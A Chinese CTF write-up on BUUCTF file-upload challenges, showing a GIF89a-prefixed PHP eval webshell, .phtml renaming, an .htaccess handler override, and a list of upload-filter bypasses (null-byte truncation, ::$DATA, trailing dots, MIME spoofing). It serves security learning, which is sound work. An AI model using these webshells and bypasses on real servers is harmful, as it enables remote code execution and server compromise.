文件上传典型题(buuctf)加深知识点

1.[极客大挑战 2019]Upload1

(1)打开这个也没也页面看到是文件上传

(2)先看看源码有没有什么有用信息,看着貌似没有,也没有啥过滤的

(3)这里我直接上传一个普通木马,发现它提示错误,要是图片才行

(4)这里我直接将木马后缀改为png,还是错,提示不能包含<?

(5)我有重新找了一个不含<?的木马,上传后成功了  木马是下面这个

GIF89a
<script language="php">eval($_POST['shell']);</script> 

注:什么是GIF89a

    一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。

用GIF89a图片文件欺骗绕过的方法。简单的来讲就是文件上传功能点可能只会对文件头一开始的那部分做检测。那么这里可能只需要一开头有GIF89a就行了。其它危害内容不care。

(6)通过bp抓包,并修改图片后缀名为.phtml,使网页后端执行我们的一句话木马。

注:用户在上传文件时,服务端通常检测文件后缀限制某些文件不允许上传,有的Apache服务器则可以解析其他文件后缀的:

ASP文件:asa/cer/cdx
ASPX文件:ashx/asmx/ascx
PHP文件:php4/php5/phtml
JSP文件:jsp / jspa / jspx / jsw / jsv / jspf / jtml / jSp / jSpx / jSpa / jSw / jSv / jSpf / jHtml

在http.conf文件中,如果有配置如下代码则可以解析php和phtml文件:

AddType application/x-httpd-php .php

(7)改完后重新上传

(8)上传成功后用蚁剑连接,然后就能找到flag文件

2.

(1)打开后看着除了一个小灯泡,啥也没有,但是当鼠标移到灯泡上是发现,上传文件的地方

(2)这里直接传了一个图片木马上去,发现错误,再次查看才发现这题它不能传图片后缀的(3)这里跟前面一样直接抓包后,修改后缀名为phtml

(4)修改完后再次上传,发现它给了一个phtml结尾的文件,

(5)这里我直接把它放进url头里打开

(6)然后再用蚁剑链接就能找到flag

文件上传部分小结

原理:

网站Web应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型,此时攻击者就可以上传一个webshell到一个Web可访问的目录上,并将恶意文件传递给如PHP解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。还有一部分是攻击者通过Web服务器的解析漏洞来突破Web应用程序的防护。

一.绕过方式(黑盒测试):

1、a.php::$DATA,Windows系统下PHP服务器会将后缀名带::$DATA的文件当作文件流处理,过滤不起作用,上传到服务器之后,截取::之前的格式作为文件后缀,也就是a.php

2、大小写绕过

3、.htaccess文件(配置文件,将文件名为shana的文件当作php文件执行)

<FilesMatch "shana">
SetHandler application/x-httpd-php
</FilesMatch>
4、针对黑名单规则只过滤一次,双写脚本后缀        一次过滤: a.php->a. a.pphphp->a.php

5、点绕过。

$file_name = deldot($file_name);//删除文件名末尾的点

可以更改上传文件的后缀名a.php改为a.php. .

经过代码过滤之后文件后缀名变为a.php. 。从而绕过黑名单提交到服务器,Windows服务器不允许后缀名最后带.,因此将文件后缀名还原为a.php

6、空格绕过。"a.php "不会匹配黑名单的.php从而绕过。且上传后会被Windows服务器自动去掉空格。

7、中间件解析漏洞。

白名单常见的过滤规则
对于网站而言,白名单验证比名单拦截更要安全

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); //截取后缀名
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
绕过白名单验证方式:

1、%00和0x00截断。%00是被服务器解码为0x00发挥了截断作用

0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。

%00和0x00是有区别的:%00是URL中的,0x00是文件命名

%00需要PHP版本小于5.3.4,且打开php的配置文件php-ini,将magic_quotes_gpc(魔术引号)设置为Off

get会自动解码 %00

post不会解码 %00 -> url编码

2、0x0a截断:原理同上 

3、MIME绕过。burp抓包,修改Content-type值为合法的image/jpeg,image/gif等即可绕过

不懂就记

1.危害
上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代
码执行;
上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其
他通过类似方式控制策略文件的情况类似);
上传文件是病毒、木马文件,从而获得系统的控制权
上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执
行,被用于钓鱼和欺诈。

2.jsp简介
J
SP全称Java Server Pages,是一种动态网页开发技术。它使用JSP标签在HTML网页中插入Java代码。标签通常以<%开头以%>结束。

JSP是一种Java servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP。

JSP通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页。

JSP标签有多种功能,比如访问数据库、记录用户选择信息、访问JavaBeans组件等,还可以在不同的网页中传递控制信息和共享信息。

3.asp简介
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境,可用来创建动态交互式网页并建立强大的web应用程序。当服务器收到对ASP文件的请求时,它会处理包含在用于构建发送给浏览器的HTML(Hyper Text Markup Language,超文本置标语言)网页文件中的服务器端脚本代码。除服务器端脚本代码外,ASP文件也可以包含文本、HTML(包括相关的客户端脚本)和com组件调用。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值